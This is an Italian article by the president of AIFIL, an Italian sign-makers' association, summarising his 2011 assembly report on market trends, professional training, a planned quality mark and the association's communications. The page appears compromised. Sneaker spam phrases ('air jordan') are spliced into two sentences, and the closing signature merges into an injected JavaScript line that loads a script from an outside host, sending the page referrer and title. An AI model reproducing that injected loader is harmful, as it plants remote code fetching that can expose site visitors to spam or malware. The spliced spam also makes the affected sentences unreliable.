Informazione, formazione e marchio di qualità per gli operatori del settore insegne. Il programma della Presidenza.

di Sergio Arioli - 01 agosto 2011
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La riunione di Ischia ha offerto l’occasione per confrontarci in merito allo stato del mercato delle insegne e di AIFIL.

Di seguito alcuni stralci della mia relazione introduttiva all’Assemblea Nazionale, con la quale ho voluto fare il punto sul programma di questa Presidenza, sulle cose già fatte e quelle che restano da fare.

Il mercato delle insegne: tendenze.

Sono passati due anni dalla nostra elezione e il mercato conferma, anzi accelera, a causa della crisi economica, le tendenze che a nostro avviso indicano la direzione in cui deve incamminarsi AIFIL e che hanno dato origine al programma che presentammo a Cagliari.

Si conferma, per esempio, air jordan 1 la tendenza alla concentrazione delle imprese. Tendenza che trova riscontro nel fatto che il volume di affari del settore insegne – in contrazione per via della crisi – è sempre più condizionato da grandi commesse relative a operazioni di branding e rebranding che hanno come committente originale le grandi reti di distribuzione di prodotti e servizi.

Le imprese più avanzate del settore insegne italiano intercettano commesse di livello nazionale e poi si rivolgono a vari operatori collocati sul territorio subappaltando parte della produzione e, soprattutto, prestazioni d’opera e servizi. Altre commesse sono gestite a livello internazionale da aziende multinazionali che cercano interlocutori anch’essi organizzati nel settore insegne a livello internazionale, ingrossando la catena del subappalto.

Ne consegue un aumento del numero delle aziende che decidono di lavorare esclusivamente in conto terzi e si accentua la tendenza alla specializzazione, ossia aumenta il numero degli operatori del settore che decidono di puntare su un preciso segmento della produzione o solo sulle prestazioni d’opera (installazioni, sostituzioni, rimozioni, manutenzioni, ecc.). Compaiono inoltre specialisti in progettazione d’insegne, in pratiche di autorizzazione e altri servizi di settore, alcuni di questi assolutamente nuovi.

Insomma, se la maggior parte degli insegnisti costruisce ancora il proprio fatturato sulla committenza locale, assistiamo a un progressivo aumento del volume d’affari derivante dai lavori eseguiti per conto terzi e tutto ciò modifica progressivamente l’organizzazione e le modalità operative delle imprese, nonché la composizione degli addetti nella direzione di una di una sempre maggiore competenza professionale coniugata alla velocità di esecuzione.

Altro fattore di cambiamento nelle imprese proviene dall’affermazione dei LED a scapito delle sorgenti luminose a “catodo freddo”. Prescindendo dalla polemica sulle performances dell’una o dell’altra sorgente rileviamo che l’uso dei LED velocizza e snellisce complessivamente il processo di produzione delle insegne e permette di rispondere più adeguatamente alle richieste della nuova committenza, che chiede maggiore flessibilità e rapidità di azione. Ne deriva la marginalizzazione di figure professionali costruitesi in decenni e la necessità di formarne di nuove che sappiano applicare adeguatamente le nuove tecnologie alle insegne.

Quanto al prodotto insegna e ai servizi di settore, la nuova committenza, costituita in buona parte da grandi brand con uffici marketing strutturati, induce a standard qualitativi superiori e all’adempimento di tutti gli obblighi legislativi-normativi in ogni punto del ciclo produttivo: dalla progettazione, all’autorizzazione, all’installazione, fino alla rimozione e allo smaltimento.

Le esigenze degli Associati e la strategia della Presidenza.

La scena ora tracciata ci aiuta a capire come cambia la composizione degli associati, quali sono le esigenze alle quali AIFIL dovrà dare risposta e perché questa Presidenza ha posto al centro della propria strategia la formazione professionale. Chi, per esempio, vuole specializzarsi in installazione di insegne luminose conto terzi ha bisogno di servizi associativi e di formazione specifici e diversi da quelli utili a chi le insegne le costruisce soltanto o a chi fornisce solo progetti e pratiche di autorizzazione.

Altrettanta importanza diamo alla formazione imprenditoriale complessiva, ossia a corsi che spaziano a 360° in ogni ambito dell’impresa: gestione e marketing, passaggio generazionale, amministrazione, contabilità e preventivazione, organizzazione, informatizzazione, sicurezza, privacy, comunicazione, ecc.

Il costituendo Comitato Insegne e Formazione e il già funzionante Comitato Insegne e Diritto sono funzionali a questa strategia e rappresentano la condizione indispensabile per sviluppare il progetto più ambizioso di questa presidenza: la creazione di un marchio di qualità per gli operatori del settore insegne.

Altrettanto strategico e sinergico rispetto agli obiettivi ora espressi è la ristrutturazione complessiva della comunicazione AIFIL, obiettivi, modalità e strumenti.

Un marchio di qualità per gli operatori del settore insegne.

Perché un marchio di qualità?

a) per indurre gli associati – e quindi tutti gli operatori del settore insegne – ad intraprendere un percorso di evoluzione costante e conseguire, ognuno con i propri tempi, un sempre più elevato standard qualitativo dei prodotti e dei servizi offerti ai clienti;

b) per segnalare agli acquirenti le aziende che hanno intrapreso questo percorso evolutivo e che operano con un criterio di qualità, offrendo ai clienti imprescindibili standard qualitativi dei prodotti e dei servizi certificati da AIFIL.

Il marchio non avrà dunque solo lo scopo di distinguere chi è bravo e chi no, sarà piuttosto stimolo e strumento per la crescita professionale di tutti, nessuno escluso; tramite un percorso formativo appositamente individuato.

Un nuovo modo di comunicare da parte di AIFIL.

Altro obiettivo fondamentale di questa Presidenza è ristrutturare il modo di comunicare dell’associazione e relativi strumenti, cominciando dalla separazione della comunicazione AIFIL diretta ai Soci e agli operatori del settore da quella diretta all’esterno.

Il primo passo è stato quindi estrapolare Aifilinforma dalla rivista NEON creando AIFIL[IN]FORMA online (con il suo sistema di fitte newsletter) e la corrispettiva versione cartacea il cui numero zero è stato distribuito in anteprima proprio a questa assemblea di Ischia. AIFIL[IN]FORMA si rivolge esclusivamente agli operatori del settore insegne con finalità informative e formative, intensificando e stimolando scambi di esperienze ed opinioni.

Il secondo, altrettanto importante, passo sarà trasformare la storica rivista NEON (al momento sospesa per necessità di bilancio) in un magazine rivolto esclusivamente all’esterno, air jordan 3 destinato a dialogare con agli opinion leader e con i potenziali clienti al fine di creare una conoscenza e una cultura del mercato delle insegne presso gli utilizzatori. Una rivista di settore che risponderà alle domande sulle insegne che si pone la committenza.

Lo stato dell’Associazione.

[…] dobbiamo registrare che in questo momento gli Associati tendono a diminuire. La crisi economica è indubbiamente un fattore determinante […] tuttavia non spiega da sola il calo degli Associati […], crediamo che parte delle cause vada cercata nella lentezza con la quale AIFIL realizza i cambiamenti di cui abbiamo parlato in precedenza [...]. Inoltre negli ultimi anni è cambiata la composizione delle aziende del settore: molte aziende storicamente legate ad AIFIL sono scomparse o stanno scomparendo mentre le nuove aziende sono nate e cresciute in un contesto produttivo e in una fase storica diversa da quella dei Soci e ancora non conoscono l’associazione […].

La centralità delle risorse professionali in AFIL.

Diventa sempre più difficile da parte degli operatori del settore togliere tempo alle proprie aziende per dedicarlo all’Associazione […]. È dunque importante indirizzare l’Associazione verso un’organizzazione che non affidi più la propria attività esclusivamente al volontariato dei Soci, ma che si avvalga in misura sempre maggiore delle prestazioni professionali di un’equipe con competenze specialistiche, che eroghi informazioni e servizi qualificati quanto adeguati alle molteplici necessità delle imprese di settore. […]. Sono convito che sia necessario investire maggiormente in questa direzione. […].

Traguardi.

È impossibile qui dare conto di tutte le attività della Presidenza, ma consentitemi a questo punto di ricordare telegraficamente almeno alcuni traguardi fondamentali e alcuni successi.

  • La creazione del Comitato Insegne e Diritto, che sta già lavorando da tempo, dando ottimi risultati (si veda per fare un solo esempio l’accordo con ANCI, ma in AIFIL[IN]FORMA potrete leggere i numerosi interventi e i progetti di lavoro su temi fondamentali).
  • Il completamento del cosiddetto Vademecum dell’Insegnista (Adempimenti obbligatori […] Percorsi per la conformità dell’azienda).
  • I corsi sull’uso dei LED nelle insegne, complessivamente i più frequentati nella storia di AIFIL.
  • La creazione del manuale sull’uso dei LED nelle insegne, che sta per essere stampato.
  • La creazione della rivista-blog AIFIL[IN]FORMA online dedicata agli operatori del settore insegne.
  • La creazione della rivista AIFIL[IN]FORMA cartacea dedicata agli operatori del settore insegne.
  • La firma di un accordo strategico con ANCI teso a redigere un percorso autorizzativo condiviso dai due enti e a promuoverlo congiuntamente presso tutti i comuni d’Italia; nella direzione dell’unificazione delle procedure a livello nazionale e della semplificazione amministrativa.
  • L’apertura di un dialogo teso ad un accordo strategico con Cielo Buio finalizzato alla revisione di tutte le leggi inerenti la limitazione dell’inquinamento luminoso e dei consumi energetici.
  • Importantissimo anche l’approdo al nuovo Regolamento ANAS […] che raccogli e i frutti del lavoro di anni e dell’impegno di chi ci ha preceduto e in particolare di Mario Acerbis e Francesco Laruffa.
  • Per concludere evidenzio, con orgoglio, il successo del bilancio 2010: siamo partiti con un bilancio preventivo in perdita e assisteremo fra poco alla lettura di un bilancio che chiude con un’attività.

Manca meno di un anno alla scadenza del nostro mandato e non so se sarà possibile raggiungere tutti gli obiettivi che ci siamo dati; alcuni (come, per esempio, la creazione di un marchio di qualità per gli operatori del settore insegne) sono davvero ambiziosi. La nostra presidenza però non è mai stata così compatta e determinata e vogliamo provarci, per questo chiediamo ai Soci, a tutti i Soci, di continuare a sostenerci e di sostenere AIFIL, non solo con il versamento delle quote, ma, soprattutto, partecipando in prima persona alle attività ed alle iniziative promosse dall’Associazione.

Sergio Ariolis.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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